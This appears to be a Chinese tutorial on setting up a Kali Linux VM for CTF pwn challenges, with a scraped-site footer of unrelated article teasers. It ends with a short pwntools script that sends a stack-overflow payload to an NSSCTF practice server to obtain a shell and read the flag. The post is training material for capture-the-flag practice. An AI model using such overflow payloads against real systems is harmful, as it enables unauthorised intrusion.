CTF-PWN环境搭建手册

         工欲善其事必先利其器,作为一名CTF的pwn手,一定要有自己的专用解题环境。本文将详细记录kali下的pwn解题环境的安装过程,B站也会配备配套视频。

安装前的准备工作

虚拟机环境

VMware WorkStation

VM版本安装教程

1. 下载Kali的VM虚拟机文件

Kali的VM虚拟机文件

Kali的VM虚拟机文件可在Kali官网下载

kali官网
Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution

 左侧Installer Images为光盘镜像文件,右侧Vitrual Machines是我们这次下载的VM虚拟机文件

 点击这里下载

 最后得到压缩包

2. 新建一个空白文件夹

找一个空间大点的盘,新建这个文件夹,命名就叫Kali好了

3. 解压压缩包

把第一步下载的VM虚拟机文件,解压到当前目录下

对着文件右键解压文件,选中你创建的文件夹。

 

 等待解压完成

解压完成会得到

4.打开VMware WorkStation

点击打开虚拟机

 选中文件中的这个

 5. 配置虚拟机的硬件

打开虚拟机之前,需要调整硬件设置

 点击编辑虚拟机设置

 内存设置,电脑本机的内存的一半即可。

处理器1就行。核取一半(up的CPU只有8核)

硬盘其实60G就完全够用

配置完成记得点击确认保存

6.启动虚拟机

由于这个是配置好的,所以默认密码是kali/kali

 登录之后的样子,全英文有点难受

7.kali汉化步骤

全英文怎么玩!!!给我汉化

右键Kali的桌面,点击Open Terminal Here(在此处打开控制台)

 输入指令

一、进入root模式

sudo -i   #指令输入后,会要求输入kali的密码,也就是kali。注意,kali输密码光标是不会动的哦!

 

 已经入root模式就是红红的

二、更新源(不是换源!)

apt-get update

看到这烦人的下载速度没,这就提醒你该换源(下载服务器)了 ,CTRL+C结束,然后先去第8步换源吧

 

三、设置系统语言

sudo dpkg-reconfigure locales

下方向键一直按着

按到看到zh_CN

选中了之后,不要按回车!!!!!!

先按空格!!!!变成星星,我已踩坑

回车,如果没有zh_cn,证明没听我话,退回去重新操作就行

回车,接下里让它自己跑

重启系统应用汉化

reboot

这个不建议改成汉化的,因为经常要访问 ,英文路径好打

8.换源!

我看这篇写的挺好,那我就偷懒了,记得阿里和清华一起上
Kali 更换源(超详细,附国内优质镜像源地址)_kali换源-CSDN博客

 9.中文输入法安装

1.打开终端,输入以下命令:root权限哦

apt-get install ibus ibus-pinyin  

记得点Y

reboot #重启

右上角切换

pwn环境安装

1.pwntools安装

 1、安装指令

进入root

sudo -i

安装指令 

sudo pip3 install pwntools

2、测试checksec

测试题目位置
NSSCTF | 在线CTF平台

把附件拖到kali中,重命名为pwn1,方便写指令。指令要在桌面路径执行哦。

checksec pwn1

3、测试pwntools

from pwn import *
xianyufen=remote("node1.anna.nssctf.cn",28029)#按照服务器地址和端口更改
payload=b'a'*0x2C+p64(0x41348000)
xianyufen.send(payload)
xianyufen.interactive()

我的是这样的

from pwn import *
xianyufen=remote("node4.anna.nssctf.cn",28492)#按照服务器地址和端口更改
payload=b'a'*0x2C+p64(0x41348000)
xianyufen.send(payload)
xianyufen.interactive()

在桌面用指令建一个python脚本

vim attack.py 

然后就可以右键编辑了,用Mousepad打开

指令粘贴进去

控制台运行一下

python3 attack.py

再输个ls,即可看到flag,工具已正常安装

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/188559.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++初阶】STL详解(二)string类的模拟实现

本专栏内容为:C学习专栏,分为初阶和进阶两部分。 通过本专栏的深入学习,你可以了解并掌握C。 💓博主csdn个人主页:小小unicorn ⏩专栏分类:C 🚚代码仓库:小小unicorn的代码仓库&…

spring-boot-maven-plugin插件 —— 默认打包配置

创建 Spring Boot 应用,默认会添加 Maven 插件:spring-boot-maven-plugin。如果项目结构比较简单,可以不用额外配置,使用默认的编译打包就可以。 执行 maven 打包命令时会自动触发 spring-boot-maven-plugin 插件的 repackage 目…

工程建设智慧施工云平台源码 智慧工地平台源码

智慧工地平台源码 工程建设智慧施工云平台源码 技术框架:微服务架构JavaSpring Cloud UniApp MySql 智慧工地平台是一种智慧型、系统性的工地信息化解决方案,它把现代信息技术融入到建设工程管理中,协调各方资源,优化施工过程&…

【Axure教程】滑动内容选择器

滑动内容选择器通常是一种用户界面组件,允许用户通过滑动手势在一组内容之间进行选择。这种组件可以在移动应用程序或网页中使用,以提供直观的图片选择体验。 那今天就教大家如何用中继器制作一个滑动内容选择器,我们会以滑动选择电影为案例…

使用Sqoop命令从Oracle同步数据到Hive,修复数据乱码 %0A的问题

一、创建一张Hive测试表 create table test_oracle_hive(id_code string,phone_code string,status string,create_time string ) partitioned by(partition_date string) ROW FORMAT DELIMITED FIELDS TERMINATED BY ,; 创建分区字段partition_date&#xff0c…

抖音主播私信脚本,给直播间的主播发消息,按键精灵脚本开源

这个脚本运行后会给正在直播的主播自动发送话术消息,也是用按键精灵写的,我自己测试运行没有任何问题,下面是UI和代码。 UI界面: 界面代码: 界面1: { 请在下面设置话术: { 输入框: { 名称:"输入框1",…

PyTorch

正常界面 创建环境 conda create -n env_test python3.6进入环境 conda activate env_testpycharm中,创建项目,选择环境

详解自动化测试之 Selenium

目录 1. 什么是自动化 2.自动化测试的分类 3. selenium(web 自动化测试工具) 1)选择 selenium 的原因 2)环境部署 3)什么是驱动? 4. 一个简单的自动化例子 5.selenium 常用方法 5.1 查找页面元素&…

【leaflet】学习笔记5 自定义控制层、多图层及其控制 重构

▒ 目录 ▒ 🛫 导读开发环境 1️⃣ 重构data.js 数据抽取MyMap 面向对象编程继承MyMap类 2️⃣ d5. 自定义控制层、多图层及其控制示例效果自定义控制层多图层及其控制 🛬 文章小结📖 参考资料 🛫 导读 开发环境 版本号描述文章…

004 OpenCV akaze特征点检测匹配

目录 一、环境 二、akaze特征点算法 2.1、基本原理 2.2、实现过程 2.3、实际应用 2.4、优点与不足 三、代码 3.1、数据准备 3.2、完整代码 一、环境 本文使用环境为: Windows10Python 3.9.17opencv-python 4.8.0.74 二、akaze特征点算法 特征点检测算法…

三菱FX3U小项目—传输带定分级控制

目录 一、项目描述 二、IO口分配 三、项目程序 四、总结 一、项目描述 两条运输带顺序相连,为了避免运送的物料在1号运输线上堆积,所以启动时,1号运输带开始运行,5S后2号运输带自动启动。停机时顺序与启动刚好相反&#xff0c…

激光跟踪仪在超大型工件空间测量中的应用,你了解多少?

超大型工件的空间测量是现代制造业中的一个难题。传统的测量方法无法同时满足高精度和高效率的要求,从而制约了工件制造的质量和效益。 激光跟踪仪作为一种创新的测量设备,具有无接触、高精度和高速度的特点。它采用了先进的激光干涉测距和角度测量技术…